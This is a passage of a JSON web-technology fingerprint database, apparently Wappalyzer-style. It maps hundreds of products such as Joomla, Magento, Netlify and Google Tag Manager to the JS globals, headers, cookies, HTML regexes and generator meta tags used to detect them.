Storefront":{},"DreamWeaver":{"js":["mm_preloadimages","mm_showhidelayers","mm_showmenu"],"html":["\u003c!--[^\u003e]*(?:instancebegineditable|dreamweaver([^\u003e]+)target|dwlayoutdefaulttable)\\;version:\\1"]},"LiteSpeed":{"headers":{"server":"^litespeed$"}},"Listrak":{"js":["_ltksignup","_ltksubscriber"]},"Font Awesome":{"js":["fontawesomecdnconfig","___font_awesome___"],"html":["\u003clink[^\u003e]* href=[^\u003e]+(?:([\\d.]+)/)?(?:css/)?font-awesome(?:\\.min)?\\.css\\;version:\\1","\u003clink[^\u003e]* href=[^\u003e]*kit\\-pro\\.fontawesome\\.com/releases/v([0-9.]+)/\\;version:\\1"]},"Primis":{"js":["sekindonativeskinapi","sekindodisplayedplacement","sekindoflowingplayeron"]},"Angular Material":{"js":["ngmaterial"],"implies":["AngularJS"]},"Twitter Emoji (Twemoji)":{"js":["twemoji"]},"Fit Analytics":{"js":["fitanalyticswidget","_fitanalytics"]},"History":{},"Bynder":{"cookies":{"bynder":"^[\\da-z]+-[\\da-z]+-[\\da-z]+-[\\da-z]+$"},"js":["bynder.cloudfront"]},"Strato Website":{"js":["strftime.configuration"]},"Helix Ultimate":{"implies":["Joomla"]},"Windows CE":{"headers":{"server":"\\bwince\\b"}},"Bazaarvoice Reviews":{"js":["bv.api"]},"Milligram":{"html":["\u003clink[^\u003e]+?href=\"[^\"]+milligram(?:\\.min)?\\.css"]},"Google Maps":{},"Jumio":{},"GTranslate app":{},"Sass":{},"ipapi":{},"Audiohook":{},"IBM HTTP Server":{"headers":{"server":"ibm_http_server(?:/([\\d.]+))?\\;version:\\1"}},"aThemes Moesia":{},"Apple Business Chat":{"js":["applebusinesschat.version"]},"Google Ads Conversion Tracking":{"js":["google_trackconversion"]},"Browser-Update.org":{"js":["$bu_.version","$bu_getbrowser"]},"total.js":{"headers":{"x-powered-by":"^total\\.js"},"implies":["Node.js"]},"PressMaximum Customify":{"js":["customify","customify_js","customify_is_mobile"]},"Catch":{"js":["catch"]},"Themeansar Newsup":{},"GetButton":{},"Trustindex Google Reviews":{},"Amobee":{},"Timeplot":{"js":["timeplot"]},"LyraThemes Kale":{"js":["kale_responsive_videos"]},"Colorlib Sparkling":{},"OptiMonk":{},"SpotX":{"js":["spotx.version"]},"PowerReviews":{"js":["powerreviews"]},"Zimbra":{"cookies":{"zm_test":"true"},"implies":["Java"]},"novomind iSHOP":{"js":["_ishopevents","_ishopevents_url","ishop.config.baseurl"]},"SAP Upscale Commerce":{},"Yahoo! Ecommerce":{"js":["ystore"],"headers":{"x-xrds-location":"/ystore/"},"html":["\u003clink[^\u003e]+store\\.yahoo\\.net"]},"Launchrock":{"js":["lrignition","lrignition","lrloadedjs","lrsiterenderingdata.apiendpoint","lrsitesettingasboolean"]},"ef.js":{"js":["ef.version","efcore"]},"MGPanel":{"implies":["MySQL"]},"ClientJS":{"js":["clientjs"]},"30namaPlayer":{},"DatoCMS":{"headers":{"content-security-policy":"\\.datocms-assets\\.com"}},"ManyChat":{"js":["mcwidget"]},"AddThis":{"js":["addthis"]},"Aircall":{},"Boost Commerce":{"js":["bcsffilterconfig.api.filterurl","boostpfsappconfig.api.filterurl"]},"OrbitFox":{},"Advally":{"js":["advally"]},"Hexo":{"html":["powered by \u003ca href=\"https?://hexo\\.io/?\"[^\u003e]*\u003ehexo\u003c/"],"meta":{"generator":["hexo(?: v?([\\d.]+))?\\;version:\\1"]},"implies":["Node.js"]},"Alpine Linux":{"headers":{"x-powered-by":"alpine"}},"Trustpilot":{"js":["trustpilot"]},"Thelia":{"html":["\u003c(?:link|style|script)[^\u003e]+/assets/frontoffice/"],"implies":["PHP","Symfony"]},"Uploadcare":{"js":["uploadcare.version"]},"TornadoServer":{"headers":{"server":"tornadoserver(?:/([\\d.]+))?\\;version:\\1"}},"Infolinks":{"js":["infolinks_pid","infolinks_wsid"]},"Sanity":{"headers":{"content-security-policy":"cdn\\.sanity\\.io","x-sanity-shard":""}},"Futurio":{},"XWiki":{"html":["\u003chtml[^\u003e]data-xwiki-[^\u003e]\u003e"],"meta":{"wiki":["xwiki"]},"implies":["Java\\;confidence:99"]},"Catch Themes Fotografie":{},"Suiteshare":{},"Boutiq":{"js":["caazamapp"]},"RevenueHunt":{},"Pojo.me":{"js":["pojoa11yoptions"]},"Ocuco FitMix":{"js":["fitmix.widget_base_url"]},"Dukaan":{"meta":{"apple-mobile-web-app-title":["^mydukaan$"]}},"Personio":{},"Datadome":{"cookies":{"datadome-_zldp":"","datadome-_zldt":"","datadome":""},"headers":{"x-datadome-cid":"","server":"^datadome$","x-datadome":""}},"uKnowva":{"headers":{"x-content-encoded-by":"uknowva ([\\d.]+)\\;version:\\1"},"html":["\u003ca[^\u003e]+\u003epowered by uknowva\u003c/a\u003e"],"meta":{"generator":["uknowva (?: ([\\d.]+))?\\;version:\\1"]},"implies":["PHP"]},"Quasar":{},"KQS.store":{"js":["kqs_box","kqs_off"]},"Complianz":{"js":["complianz.version"]},"Red je Pakketje":{},"Mustache":{"js":["mustache.version"]},"FAST Search for SharePoint":{"html":["\u003cinput[^\u003e]+ name=\"parametricsearch"],"implies":["Microsoft SharePoint","Microsoft ASP.NET"]},"Satori":{"js":["satoriform"]},"Paidy":{"js":["constants.paidy"]},"CloudSuite":{"cookies":{"cs_secure_session":""}},"Reddit Ads":{},"WooCommerce PayPal Checkout Payment Gateway":{"implies":["PayPal"]},"Swiftype":{"js":["swiftype"]},"REG.RU":{},"EC-CUBE":{"implies":["PHP"]},"Acquia Cloud IDE":{"implies":["Acquia Cloud Platform"]},"Netlify":{"headers":{"server":"^netlify","x-nf-request-id":""}},"Ambassador":{"js":["_mbsy.integrations"]},"iubenda":{"js":["_iub","addiubendacs"]},"GoatCounter":{},"Weglot":{"headers":{"weglot-translated":""}},"Rive":{"js":["rive.rive"]},"VWO Engage":{"js":["_pushcrewdebuggingqueue"]},"Protovis":{"js":["protovis"]},"PayFast":{},"Pulse Secure":{"cookies":{"dssignin":""}},"Segmanta":{"js":["segmanta__dynamic_embed_config","segmanta__user_metadata"]},"Kerberos":{"headers":{"www-authenticate":"^kerberos"}},"Glopal":{},"Wirecard":{"js":["wirecardhpp","wirecardpaymentpage"]},"Fireblade":{"headers":{"server":"fbs"}},"Service Management Group":{"js":["smgetrackparams"]},"Asciinema":{"js":["asciinema"],"html":["\u003casciinema-player"]},"snigel AdConsent":{"js":["adconsent.version","snhb.basesettings","snhb.info.cmpversion"]},"NTLM":{"headers":{"www-authenticate":"^ntlm"}},"JShop":{"js":["jss_1stepdeliverytype","jss_1stepfillshipping"]},"Spotii":{"js":["spotiiconfig"]},"Bookero":{"js":["bookero_config"]},"Media.net":{},"WordAds":{},"Outlook Web App":{"js":["isowapremiumbrowser"],"headers":{"x-owa-version":"([\\d\\.]+)?\\;version:\\1"},"html":["\u003clink[^\u003e]+/owa/auth/([\\d\\.]+)/themes/resources\\;version:\\1"],"implies":["Microsoft ASP.NET"]},"WP Maintenance Mode":{"js":["wpmm_vars"]},"Afterpay":{"js":["afterpay_product","checkout.enabledpayments.afterpay","afterpay","afterpay.version","afterpayattractwidget","afterpaygenericerrorhtml","afterpaywidgethtml"]},"Bold Motivator":{"implies":["Shopify","Bold Commerce"]},"Zoominfo":{},"SmartSite":{"html":["\u003c[^\u003e]+/smartsite\\.(?:dws|shtml)\\?id="],"meta":{"author":["redacteur smartinstant"]}},"Leadinfo":{"js":["globalleadinfonamespace","leadinfo"]},"Raspbian":{"headers":{"server":"raspbian","x-powered-by":"raspbian"}},"Ultimate GDPR \u0026 CCPA":{"js":["ct_ultimate_gdpr_cookie"]},"DropInBlog":{},"Highstock":{"html":["\u003csvg[^\u003e]*\u003e\u003cdesc\u003ecreated with highstock ([\\d.]*)\\;version:\\1"]},"Food-Ordering.co.uk":{"js":["storetoc","disablecollection","disabledelivery","getorderacceptfor"]},"Zinrelo":{"js":["zrl_mi"]},"Setmore":{"js":["setmorepopup"]},"Rubicon Project":{},"Babylist":{},"Help Scout":{"js":["__onbeacondestroy","beaconstore"]},"GitBook":{"js":["__gitbook_lazy_modules__","__gitbook_initial_props__","__gitbook_initial_state__"],"meta":{"generator":["gitbook ([\\d.]+)?\\;version:\\1"]}},"Apollo13Themes Rife":{},"TN Express Web":{"cookies":{"tnew":""},"implies":["Tessitura"]},"Eleventy":{"meta":{"generator":["^eleventy\\sv([\\d\\.]+)$\\;version:\\1"]}},"Magisto":{"js":["magistoplayerframe","magisto_server"]},"Cosmoshop":{},"Google Sign-in":{"meta":{"google-signin-client_id":[],"google-signin-scope":[]}},"Pixieset Store":{"js":["pixiesetproducteditor","pixiesetproductoptionselection"]},"Foursixty":{"js":["foursixtyembed"]},"MySQL":{},"DoubleClick Ad Exchange (AdX)":{},"ViaBill":{"js":["viabillpricetaginternal.conf.productsbylocale","viabilloptions.state.subscriptions"]},"CodeSandbox":{},"actionhero.js":{"js":["actionheroclient"],"headers":{"x-powered-by":"actionhero api"},"implies":["Node.js"]},"Appcues":{"js":["appcues"]},"SimpleHTTP":{"headers":{"server":"simplehttp(?:/([\\d.]+))?\\;version:\\1"}},"Glyphicons":{"html":["(?:\u003clink[^\u003e]* href=[^\u003e]+glyphicons(?:\\.min)?\\.css|\u003cimg[^\u003e]* src=[^\u003e]+glyphicons)"]},"Elm-ui":{"html":["\u003cstyle\u003e[\\s\\s]*\\.explain \u003e \\.s[\\s\\s]*\\.explain \u003e \\.ctr \u003e \\.s"],"implies":["Elm"]},"ShoppingFeeder":{"js":["sfdrorderdata","sfdruniqid"]},"Mobify":{"js":["mobify"],"headers":{"x-powered-by":"mobify"}},"BSmart":{"cookies":{"bsmartstate":""},"js":["bsmartconfirmwindow","bsgetbsmartstock","bsmartpricelist"]},"Atlassian Bitbucket":{"js":["bitbucket"],"html":["\u003cli\u003eatlassian bitbucket \u003cspan title=\"[a-z0-9]+\" id=\"product-version\" data-commitid=\"[a-z0-9]+\" data-system-build-number=\"[a-z0-9]+\"\u003e v([\\d.]+)\u003c\\;version:\\1"],"meta":{"application-name":["bitbucket"]},"implies":["Python"]},"Avangate":{"js":["avacart.version","__avng8_callbacks","avaslugify"],"implies":["Verifone 2Checkout"]},"Magento":{"cookies":{"x-magento-vary":"","frontend":"\\;confidence:50"},"js":["mage","varienform"],"implies":["PHP","MySQL"]},"Sinatra":{"js":["sinatraslideup","sinatra_vars.nonce"]},"Graphene":{"js":["graphenegetinfscrollbtnlbl","graphenejs.templateurl"]},"Photo Gallery":{},"Inveon":{"cookies":{"inveonsessionid":"","inv.customer":"\\;confidence:50"},"js":["invapp","invtagmanagerparams"]},"Hypervisual Page Builder":{"js":["hypervisualpreflight"]},"Zakeke Interactive Product Designer":{"implies":["Zakeke"]},"Gravity Forms":{"html":["\u003cdiv class=(?:\"|')[^\u003e]*gform_wrapper","\u003cdiv class=(?:\"|')[^\u003e]*gform_body","\u003cul [^\u003e]*class=(?:\"|')[^\u003e]*gform_fields","\u003clink [^\u003e]*href=(?:\"|')[^\u003e]*wp-content/plugins/gravityforms/css/"]},"OpenLayers":{"js":["openlayers.version_number","ol.canvasmap"]},"AnyClip":{"js":["anyclip"]},"GetYourGuide":{},"MongoDB":{},"RevolverMaps":{},"Fresco":{"js":["fresco.version"]},"Elementor Header \u0026 Footer Builder":{"implies":["Elementor"]},"Better Price":{"js":["fc_metafield_betterprice.betterpricesuccess"],"implies":["Shopify"]},"Podigee":{"js":["podigeepodcastplayers"]},"Marker":{"js":["markerconfig"]},"DPD":{},"SoftTr":{"meta":{"author":["softtr e-ticaret sitesi yazılımı"]}},"Commanders Act TagCommander":{"js":["tc_vars"]},"AlternC":{},"OpenElement":{"js":["oe.getools","oeconfwemenu"],"meta":{"generator":["openelement\\s\\(([\\d\\.]+)\\)\\;version:\\1"]},"implies":["PHP"]},"B2C Europe":{},"Carro":{"implies":["Shopify"]},"Deno Deploy":{"headers":{"server":"^deno/*"},"implies":["Deno"]},"Slimbox 2":{"html":["\u003clink [^\u003e]*href=\"[^/]*slimbox2(?:-rtl)?\\.css"],"implies":["jQuery"]},"Datadog":{"js":["dd_logs","dd_rum"]},"Akamai mPulse":{"cookies":{"akaas_ab-testing":""},"js":["boomr_api_key"],"html":["\u003cscript\u003e[\\s\\s]*?go-mpulse\\.net\\/boomerang[\\s\\s]*?\u003c/script\u003e"],"implies":["Boomerang"]},"Pinterest":{},"Xajax":{},"Guestonline":{},"Mailman":{"implies":["Python","Django"]},"WPMU DEV Smush":{},"NSW Design System":{"js":["nsw.initsite"]},"Tallentor":{},"Marchex":{},"Tamago":{"html":["\u003clink [^\u003e]*href=\"http://tamago\\.temonalab\\.com"]},"Qualaroo":{"js":["qualaroo_dnt"]},"Bolt CMS":{"meta":{"generator":["bolt"]},"implies":["PHP"]},"DailyKarma":{"js":["dkwidgetinit","dk_widget"]},"OrderLogic app":{"js":["orderlogic.default_money_format","orderlogic.cartdata","orderlogic.alerts_key"],"implies":["Shopify"]},"Soisy":{},"Chronofresh":{},"Twilight CMS":{"headers":{"x-powered-cms":"twilight cms"}},"OpenGrok":{"cookies":{"opengrok":""},"meta":{"generator":["opengrok(?: v?([\\d.]+))?\\;version:\\1"]},"implies":["Java"]},"Raychat":{"js":["raychat"]},"Po.st":{"js":["pwidget_config"]},"mdBook":{"implies":["Rust","Handlebars"]},"Secomapp":{"js":["secomapp"],"implies":["Shopify"]},"Theme Horse NewsCard":{},"RebelMouse":{"headers":{"x-rebelmouse-cache-control":"","x-rebelmouse-surrogate-control":""},"html":["\u003c!-- powered by rebelmouse\\."]},"Flarum":{"js":["app.cache.discussionlist","app.forum.freshness"],"html":["\u003cdiv id=\"flarum-loading\""],"implies":["PHP","MySQL"]},"WP Fastest Cache":{"js":["wpfcll"]},"Bluehost":{"headers":{"host-header":"c2hhcmvklmjsdwvob3n0lmnvbq=="}},"Oracle BlueKai":{"js":["bluekailoaded"]},"Sails.js":{"cookies":{"sails.sid":""},"headers":{"x-powered-by":"^sails(?:$|[^a-z0-9])"},"implies":["Express"]},"Loja Integrada":{"js":["loja_id"],"headers":{"x-powered-by":"vtex-integrated-store"}},"Maxemail":{"js":["mxm.basket","mxm.formhandler","mxm.tracker"]},"FingerprintJS":{"js":["fingerprint","fingerprint2","fingerprint2.version","fingerprintjs"]},"WalkMe":{"js":["walkmeapi","_walkmeconfig"]},"GoKwik":{"js":["gokwikbuynow","gokwikcheckoutapp","gokwiksdk"]},"RockRMS":{"meta":{"generator":["^rock v([0-9.]+)\\;version:\\1"]},"implies":["Windows Server","IIS","Microsoft ASP.NET"]},"BySide":{"js":["byside","bysidewebcare_banner"]},"Azure":{"cookies":{"arraffinity":"","tipmix":""},"headers":{"azure-sitename":"","azure-slotname":"","azure-version":"","server":"^windows-azure","x-ms-client-request-id":"","x-ms-correlation-request-id":"","x-ms-gateway-requestid":"","azure-regionname":""}},"Coureon":{},"Metrilo":{"js":["metrilo","metrilobotregexp","metrilocookie"]},"Gentoo":{"headers":{"x-powered-by":"gentoo"}},"Press Customizr":{},"SQL Buddy":{"html":["(?:\u003ctitle\u003esql buddy\u003c/title\u003e|\u003c[^\u003e]+onclick=\"sidemainclick\\(\"home\\.php)"],"implies":["PHP"]},"Miva":{"js":["mivajs.page","mivajs.product_code","mivajs.product_id","mivajs.screen","mivajs.store_code","mivavm_api","mivavm_version","mivajs"],"headers":{"content-disposition":"filename=(?:mvga\\.js|mivaevents\\.js)"}},"Canto":{},"Cufon":{"js":["cufon"]},"Saly":{"meta":{"application-name":["^saly\\sb2b\\splatform$"]},"implies":["PHP","Svelte"]},"Amazon Advertising":{},"Partial.ly":{"js":["partiallybutton"]},"Trove Recommerce":{"headers":{"x-trove-app-name":"","x-trove-country-code":"","x-trove-order-uuid":"","x-yerdle-app-name":""}},"Optimizely":{"cookies":{"optimizelyenduserid":""},"js":["optimizely","optimizelyclient.clientversion","optimizelysdk"]},"Snap":{"headers":{"server":"snap/([.\\d]+)\\;version:\\1"},"implies":["Haskell"]},"Oracle HTTP Server":{"headers":{"server":"oracle-http-server(?:/([\\d.]+))?\\;version:\\1"}},"Stitches":{"meta":{"generator":["^c-[a-za-z]{5}$"]}},"Booking.com":{},"Kamva":{"js":["kamva"],"meta":{"generator":["[ck]amva"]}},"KMK":{},"Yelp Reservations":{},"Imperva":{"headers":{"x-iinfo":""}},"Zendesk":{"cookies":{"_help_center_session":"","_zendesk_cookie":"","_zendesk_shared_session":""},"js":["zendesk"],"headers":{"x-zendesk-user-id":""}},"Whistl":{},"Aplazame":{"js":["aplazame"]},"Movable Ink":{"js":["movableinktrack"]},"Obviyo":{"js":["__hic.version"]},"Cleverbridge":{"js":["cbcartproductselection"]},"OXID eShop Enterprise Edition":{"html":["\u003c!--[^-]*oxid eshop enterprise edition, version (\\d+)\\;version:\\1"],"implies":["PHP"]},"J2Store":{"js":["j2storeurl"]},"JoomShopping":{"js":["joomshoppingvideohtml5"],"implies":["Joomla"]},"Oxygen":{"html":["\u003cbody class=(?:\"|')[^\"']*oxygen-body","\u003clink [^\u003e]*href=(?:\"|')[^\u003e]*wp-content/plugins/oxygen/"]},"Satori Studio Bento":{},"Really Simple CAPTCHA":{},"Instant.Page":{},"Coinhave":{},"Reactive":{"meta":{"generator":["reactive"]},"implies":["Ruby on Rails"]},"Rakuten":{"cookies":{"rakuten-source":""},"js":["rakutenranmid","rakutensource"]},"JTL Shop":{"cookies":{"jtlshop":""},"html":["(?:\u003cinput[^\u003e]+name=\"jtlshop|\u003ca href=\"jtl\\.php)"]},"PersonaClick":{"js":["personaclick","personaclick_callback"]},"DNN":{"cookies":{"dotnetnukeanonymous":""},"js":["dotnetnuke","dnn.apiversion"],"headers":{"cookie":"dnn_ismobile=","dnnoutputcache":"","x-compressed-by":"dotnetnuke"},"html":["\u003c!-- by dotnetnuke corporation","\u003c!-- dnn platform"],"meta":{"generator":["dotnetnuke"]},"implies":["Microsoft ASP.NET"]},"FeatherX":{"js":["featherx.clientid"]},"Sprig":{"js":["userleap"]},"Hogan.js":{"js":["hogan"]},"Craft CMS":{"cookies":{"craftsessionid":""},"headers":{"x-powered-by":"\\bcraft cms\\b"},"implies":["Yii"]},"Nativo":{"js":["ntvconfig"]},"Wordfence Login Security":{},"Fastcommerce":{"meta":{"generator":["^fastcommerce"]}},"HeadJS":{"js":["head.browser.name"],"html":["\u003c[^\u003e]*data-headjs-load"]},"Cluep":{},"Estore Shopserve":{},"GTranslate":{},"Nexcess":{"headers":{"x-hostname":"nxcli\\.net$"}},"3dCart":{"cookies":{"3dvisit":""},"headers":{"x-powered-by":"3dcart"}},"FrontPage":{"meta":{"progid":["^frontpage\\."],"generator":["microsoft frontpage(?:\\s((?:express )?[\\d.]+))?\\;version:\\1"]}},"Tada":{"implies":["Shopify"]},"Salla":{"headers":{"x-powered-by":"^salla$"}},"Twenty Twenty":{"js":["twentytwenty"]},"Transmart":{},"Cryout Creations Parabola":{"js":["parabola_mobilemenu_init","parabola_settings"]},"Astra Widgets":{},"Titan":{"js":["titan","titanenabled"]},"WoowUp":{"js":["wu._trackproductvtexfield"]},"Amplitude":{"js":["amplitude_key"]},"SEUR":{},"Google Tag Manager":{"js":["google_tag_manager","googletag"],"html":["googletagmanager\\.com/ns\\.html[^\u003e]+\u003e\u003c/iframe\u003e","\u003c!-- (?:end )?google tag manager --\u003e"]},"StorifyMe":{},"ResDiary":{},"Dotdigital Chat":{"js":["_ddgchatconfig.urlbase"],"implies":["Dotdigital"]},"Callbell":{"js":["callbell","callbellsettings"]},"Misskey":{"html":["\u003c!-- thank you for using misskey! @syuilo --\u003e"],"meta":{"application-name":["misskey"]}},"WordPress Super Cache":{"headers":{"wp-super-cache":""},"html":["\u003c!--[^\u003e]+wp-super-cache"]},"Flywheel":{"headers":{"x-fw-type":"","x-fw-hash":"","x-fw-serve":"","x-fw-server":"^flywheel(?:/([\\d.]+))?\\;version:\\1","x-fw-static":""},"implies":["WordPress"]},"Highlight.js":{"js":["hljs.highlightblock","hljs.listlanguages"]},"Element UI":{"html":["\u003c(?:div|button) class=\"el-(?:table-column|table-filter|popper|pagination|pager|select-group|form|form-item|color-predefine|color-hue-slider|color-svpanel|color-alpha-slider|color-dropdown|color-picker|badge|tree|tree-node|select|message|dialog|checkbox|checkbox-button|checkbox-group|container|steps|carousel|menu|menu-item|submenu|menu-item-group|button|button-group|card|table|select-dropdown|row|tabs|notification|radio|progress|progress-bar|tag|popover|tooltip|cascader|cascader-menus|cascader-menu|time-spinner|spinner|spinner-inner|transfer|transfer-panel|rate|slider|dropdown|dropdown-menu|textarea|input|input-group|popup-parent|radio-group|main|breadcrumb|time-range-picker|date-range-picker|year-table|date-editor|range-editor|time-spinner|date-picker|time-panel|date-table|month-table|picker-panel|collapse|collapse-item|alert|select-dropdown|select-dropdown__empty|select-dropdown__wrap|select-dropdown__list|scrollbar|switch|carousel|upload|upload-dragger|upload-list|upload-cover|aside|input-number|header|message-box|footer|radio-button|step|autocomplete|autocomplete-suggestion|loading-parent|loading-mask|loading-spinner|)"],"implies":["Vue.js"]},"Izooto":{"js":["izooto","_izooto"]},"Microsoft Advertising":{"cookies":{"_uetsid":"\\w+","_uetvid":"\\w+"},"js":["uet","uetq"]},"eZ Publish":{"cookies":{"ezsessid":""},"headers":{"x-powered-by":"^ez publish"},"meta":{"generator":["ez publish"]},"implies":["PHP"]},"UIKit":{"html":["\u003c[^\u003e]+class=\"[^\"]*(?:uk-container|uk-section)"]},"T1 Comercios":{"meta":{"generator":["^t1comercios$"]}},"Freshteam":{},"mod_ssl":{"headers":{"server":"mod_ssl(?:/([\\d.]+))?\\;version:\\1"},"implies":["Apache"]},"Simplo7":{},"PencilBlue":{"headers":{"x-powered-by":"pencilblue"},"implies":["Node.js"]},"Issuu":{"js":["issuureaders","issuupanel"]},"Scalapay":{},"three.js":{"js":["three.revision","__three__"]},"Lua":{"headers":{"x-powered-by":"\\blua(?: ([\\d.]+))?\\;version:\\1"}},"Hotjar Incoming Feedback":{},"Correos":{},"ThreatMetrix":{},"k-eCommerce":{"meta":{"generator":["k-ecommerce"]}},"GoDaddy Escapade":{},"DomainFactory":{},"Constant Contact":{"js":["_ctct_m","ctctonloadcallback"]},"Docker":{"html":["\u003c!-- this comment is expected by the docker healthcheck --\u003e"]},"Svelte":{},"Rockerbox":{"js":["rb.source"]},"Koken":{"cookies":{"koken_referrer":""},"html":["\u003chtml lang=\"en\" class=\"k-source-essays k-lens-essays\"\u003e","\u003c!--\\s+koken debugging"],"meta":{"generator":["koken ([\\d.]+)\\;version:\\1"]},"implies":["PHP","MySQL"]},"Phaser":{"js":["phaser","phaser.version"]},"Google Optimize":{"js":["google_optimize"]},"Findify":{"js":["findifyanalytics","findify"]},"IdoSell Shop":{"js":["iai_ajax"]},"Chabokan":{"headers":{"ch-powered-by":"chabokan\\s\\(chabokan\\.net\\)"}},"Cloudinary":{"js":["_cloudinary"],"headers":{"content-security-policy":"player\\.cloudinary\\.com"}},"Dart":{"js":["___dart__$dart_dartobject_zxyxx_0_","___dart_dispatch_record_zxyxx_0_"]},"Qstomizer":{"js":["jqueryqsmz","loadscript_qsmz","qstomizer_script"]},"Notion":{},"Hinza Advanced CMS":{"meta":{"generator":["hinzacms"]},"implies":["Laravel"]},"Snap Pixel":{"js":["__snappixel","snaptr.pixelidlist"]},"Refersion":{},"MailerLite":{"js":["mailerliteobject"]},"Digistore24":{"js":["digistore_link_id_key","digistore_vendorkey","getthesourcefordigistorelinks"]},"MDUI":{"js":["_mduieventid","mdui.drawer"]},"Vercel":{"headers":{"x-vercel-cache":"","x-vercel-id":"","server":"^now|vercel$","x-now-trace":""}},"ImageEngine":{},"ModiFace":{"js":["initmodiface"],"headers":{"content-security-policy":"\\.modiface\\.com"}},"HulkApps Age Verification":{"implies":["Shopify"]},"Elcodi":{"headers":{"x-elcodi":""},"implies":["PHP","Symfony"]},"Phlox":{},"APC":{},"Sub2Tech":{"js":["sub2.codebaseversion"]},"France Express":{},"Oxi Social Login":{},"VIVVO":{"cookies":{"vivvosessionid":""},"js":["vivvo"]},"ZoodPay":{},"Matomo Analytics":{"cookies":{"piwik_sessid":""},"js":["piwik","_paq","matomo"],"meta":{"generator":["(?:matomo|piwik) - open source web analytics"],"google-play-app":["app-id=org\\.piwik\\.mobile2"],"apple-itunes-app":["app-id=737216887"]}},"Woostify":{"js":["woostify_woocommerce_general","woostifyconditionscrolling"],"implies":["WooCommerce"]},"Bread":{"js":["breadloaded","breadshopify","bread.apphost","breadcalc","breaderror"]},"Umso":{},"Lightbox":{"html":["\u003clink [^\u003e]*href=\"[^\"]+lightbox(?:\\.min)?\\.css"]},"CCV Shop":{},"ipdata":{},"SiteGround":{"headers":{"host-header":"192fc2e7e50945beb8231a492d6a8024|b7440e60b07ee7b8044761568fab26e8|624d5be7be38418a3e2a818cc8b7029b|6b7412fb82ca5edfd0917e3957f05d89"}},"Revy":{"js":["revyapp","revybundle","revyupsell"]},"WebGUI":{"cookies":{"wgsession":""},"meta":{"generator":["^webgui ([\\d.]+)\\;version:\\1"]},"implies":["Perl"]},"Oracle Maxymiser":{"js":["maxy","mmsystem.getconfig"]},"PurpleAds":{"meta":{"purpleads-verification":[]}},"Press Hueman":{"js":["huparams"]},"Uvicorn":{"headers":{"server":"uvicorn"},"implies":["Python"]},"Foxy.io":{},"YMQ Product Options Variant Option":{"js":["ymq_option.v"],"implies":["Shopify"]},"SiteOrigin Page Builder":{},"Goftino":{"js":["goftino.setwidget","goftinoremoveload","goftino_1","goftino_geturl"]},"TableBooker":{},"ThinkPHP":{"headers":{"x-powered-by":"thinkphp"},"implies":["PHP"]},"i-mobile":{},"Matomo Tag Manager":{"js":["matomotagmanager"]},"Booking.com widget":{"implies":["Booking.com"]},"Starlet":{"headers":{"server":"^plack::handler::starlet"},"implies":["Perl"]},"Colissimo":{},"wisyCMS":{"meta":{"generator":["^wisy cms[ v]{0,3}([0-9.,]*)\\;version:\\1"]}},"PyroCMS":{"cookies":{"pyrocms":""},"headers":{"x-streams-distribution":"pyrocms"},"implies":["Laravel"]},"Tawk.to":{"cookies":{"tawkconnectiontime":""}},"Koala Framework":{"html":["\u003c!--[^\u003e]+this website is powered by koala web framework cms"],"meta":{"generator":["^koala web framework cms"]},"implies":["PHP"]},"Clickbank":{"js":["cbtb"]},"i-MSCP":{"meta":{"application-name":["^i-mscp$"]}},"OceanWP":{},"Windows Server":{"headers":{"server":"win32|win64"}},"Measured":{},"Tumblr":{"headers":{"x-tumblr-user":""},"html":["\u003ciframe src=\"[^\u003e]+tumblr\\.com"]},"Instabot":{"js":["instabot"]},"C":{},"Redmine":{"cookies":{"_redmine_session":""},"html":["powered by \u003ca href=\"[^\u003e]+redmine"],"meta":{"description":["redmine"]},"implies":["Ruby on Rails"]},"Riskified":{"js":["riskx","riskifiedbeaconload"],"headers":{"server":"riskified server"},"html":["\u003c[^\u003e]*beacon\\.riskified\\.com","\u003c[^\u003e]*c\\.riskified\\.com"]},"lighttpd":{"headers":{"server":"(?:l|l)ight(?:y)?(?:tpd)?(?:/([\\d\\.]+))?\\;version:\\1"}},"Oney":{"js":["oneymarketplace","isoneyactive","openoneylayer"]},"Joomla":{"js":["joomla","jcomments"],"headers":{"x-content-encoded-by":"joomla! ([\\d.]+)\\;version:\\1"},"html":["(?:\u003cdiv[^\u003e]+id=\"wrapper_r\"|\u003c(?:link|script)[^\u003e]+(?:feed|components)/com_|\u003ctable[^\u003e]+class=\"pill)\\;confidence:50"],"meta":{"generator":["joomla!(?: ([\\d.]+))?\\;version:\\1"]},"implies":["PHP"]},"Comm100":{"js":["comm100api","comm100_chatbutton","comm100_livechat_open_link"]},"POLi Payment":{"js":["wc_ga_pro.available_gateways.poli"]},"Movable Type":{"meta":{"generator":["movable type"]}},"Atatus":{"js":["atatus.version"]},"Moneris":{"js":["initialserverdata.monerisconfiguration"],"headers":{"content-security-policy":"\\.moneris\\.com"}},"Spinnakr":{"js":["_spinnakr_site_id"]},"KueskiPay":{"js":["kueskypushhead"],"implies":["Cart Functionality"]},"RichRelevance":{"js":["rr.u","rr_v"]},"Squarespace Commerce":{"js":["squarespace_rollups.squarespace-commerce","static.squarespace_context.templateversion"],"headers":{"server":"squarespace"},"implies":["Squarespace"]},"X-Cart":{"js":["xcart_web_dir","xliteconfig"],"meta":{"generator":["x-cart(?: (\\d+))?\\;version:\\1"]},"implies":["PHP"]},"Blitz":{"js":["blitz","blitzreplace"],"headers":{"x-powered-by":"^blitz$"},"html":["\u003c!-- cached by blitz on"],"implies":["Craft CMS"]},"My Flying Box":{},"Twenty Twenty-One":{"js":["twentytwentyonecollapsemenuonclickoutside","twentytwentyoneresponsiveembeds"]},"Adobe DTM":{"js":["_satellite.builddate"]},"Medallia":{"cookies":{"k_visit":""},"js":["kampyle_common","k_track","kampyle"]},"Scissor Themes Writee":{},"Magazord":{"meta":{"web-author":["^magazord$"]}},"cState":{"meta":{"generator":["cstate v([\\d\\.]+)\\;version:\\1"]}},"Genesis theme":{"js":["genesisblocksshare","genesis_responsive_menu"]},"Customer.io":{},"HrFlow.ai":{},"ChannelAdvisor":{},"Connectif":{"js":["connectif.version","connectifinfo.store"]},"Fing":{"headers":{"server":"^fing"}},"Bloomreach Discovery":{"js":["brtrk.scriptversion","br_data.acct_id"]},"PeerBoard":{},"Chitika":{"js":["ch_client","ch_color_site_link"]},"BugHerd":{"js":["bugherdconfig"]},"Back In Stock":{},"Ant 